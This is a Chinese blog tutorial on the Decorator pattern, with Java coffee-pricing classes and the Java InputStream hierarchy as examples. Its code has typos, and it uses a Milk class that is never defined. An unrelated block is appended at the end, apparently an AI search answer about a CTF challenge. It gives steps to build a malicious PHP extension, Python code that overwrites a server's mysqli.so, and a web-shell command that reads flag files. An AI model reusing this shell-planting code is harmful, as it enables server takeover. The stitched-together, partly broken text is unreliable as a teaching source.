设计模式-装饰者模式/Decorater Pattern(套娃模式)

设计模式-装饰者模式

参考资料:尚硅谷设计模式.
萌新码农 摘自网络资源 + 自己的思考 若有错误请大佬们指点
参考资料网上重复篇章多 忘了参考了哪几位博主的文章 若有侵权 请私信 看到会加上链接

角色

  1. 抽象构件(Component)角色:给出一个抽象接口,以规范准备接收附加责任的对象。
  2. 具体构件(Concrete Component)角色:定义一个将要接收附加责任的类。
  3. 装饰(Decorator)角色:持有一个构件(Component)对象的实例,并实现一个与抽象构件接口一致的接口。
  4. 具体装饰(Concrete Decorator)角色:负责给构件对象添加上附加的责任。

需求

  1. 咖啡种类|单品咖啡:Espresso(意大利浓咖啡)、ShortBlack、LongBlack(美式咖啡)、Decaf(无因咖啡)
  2. 调料:Milk、Soy(豆浆)、Chocolate
  3. 要求在扩展新的咖啡种类时,具有良好的扩展性、改动方便、维护方便
  4. 使用OO的来计算不同种类咖啡的费用:客户可以点单品咖啡,也可以点单品咖啡+调味料组合

类图

装饰者模式

// Componenet
public abstract class Drink {
	public String des; // 描述
	public float price = 0.0f; // 价格
	/**
		一顿 setter + getter
	*/
	
	// 计算费用的抽象方法
	// 子类来实现
	public abstract float cost();
}
// Concrete Component
public class Coffee extends Drink {
	@Override
	public float cost() {
		return super.getPrice();
	}
}
// Decorator
public class Decorator extends Drink {
    private Drink obj;
    
    public Decorator(Drink obj){
        this.obj = obj;
    }
    
    @Override
    public float cost() {
        return super.getPrice() + obj.cost();
    }
    
    @Ovrride
    public String getDes() {
        return super.des + " " + super.getPrice() + " && " + obj.getDes();
    }
}
// Concrete Decorator
public class Chocolate extends Decorator {
    public Chocolate(Drink obj){
    	// obj 为 单品咖啡 + n 份调料
        super(obj);
        setDes(" 巧克力 ");
        setPrice(5.0f);
    }
}
// Concrete Component 具体的咖啡
public class Espresso extends Coffee {
    public Espresso() {
        setDes(" 意大利咖啡 ");
        setPrice(6.0f);
    }
}
// 客户端
public class CoffeeBar {
	public static void main(String[] args) {
		Drink order = new Espresso();
		// 结账
		System.out.println(order.cost());
		// 描述
		System.out.println(order.getDes());
		
		// 奶套咖啡
		order = new Milk(order);
		// 结账
		System.out.println(order.cost());
		// 描述
		System.out.println(order.getDes());
	}
}

说明

装饰者模式:动态的将新功能附加到对象上。在对象功能扩展方面,它比继承更有弹性,装饰者模式也体现了开闭原则(ocp)。

IO实例

IO实例

public abstract class InputStream implements Cloneable{} // 是一个抽象类,即Component
public class FilterInputStream extends InputStream {// 是一个装饰者类 Decorator
	protected volatile InputStream in // 被装饰的对象}
class DataInputStream extends FilterInputStream implements DataInput {
	// FilterInputStream 子类,也继承了被装饰的对象in
}
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CTFSHOW套娃shell是一种常见的利用技术,用于在Web应用程序中执行命令和控制服务器。根据提供的引用内容,以下是一种使用CTFSHOW套娃shell的方法: 1. 首先,需要获取CTFSHOW扩展。可以通过运行命令`php ext_skel.php --ext ctfshow --std`来生成该扩展的目录。 2. 进入生成的目录,并编辑.c文件,根据需要进行修改。 3. 执行以下命令来编译和安装扩展:`phpize ./configure make && make install`。编译完成后,会告知具体的扩展安装位置。 4. 通过发送POST请求,使用CTFSHOW套娃shell来写入并执行命令。示例代码如下: ```python import requests url = "http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/" data = {'file': '/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so', 'content': open('ctfshow.so', 'rb').read()} requests.post(url + '?a=write', data=data) requests.get(url + '?a=run') ``` 5. 使用CTFSHOW套娃shell执行命令。可以使用以下命令示例: ```python import requests url = "http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/" data = {'cmd': 'cat /f*'} requests.post(url + '?a=shell', data=data) ``` 这样,您就可以使用CTFSHOW套娃shell来执行命令并获取所需的结果了。请注意,使用套娃shell存在安全风险,应仅在合法和授权的情况下使用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [CTFSHOW 常用姿势篇(811-820)](https://blog.csdn.net/miuzzx/article/details/124038567)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

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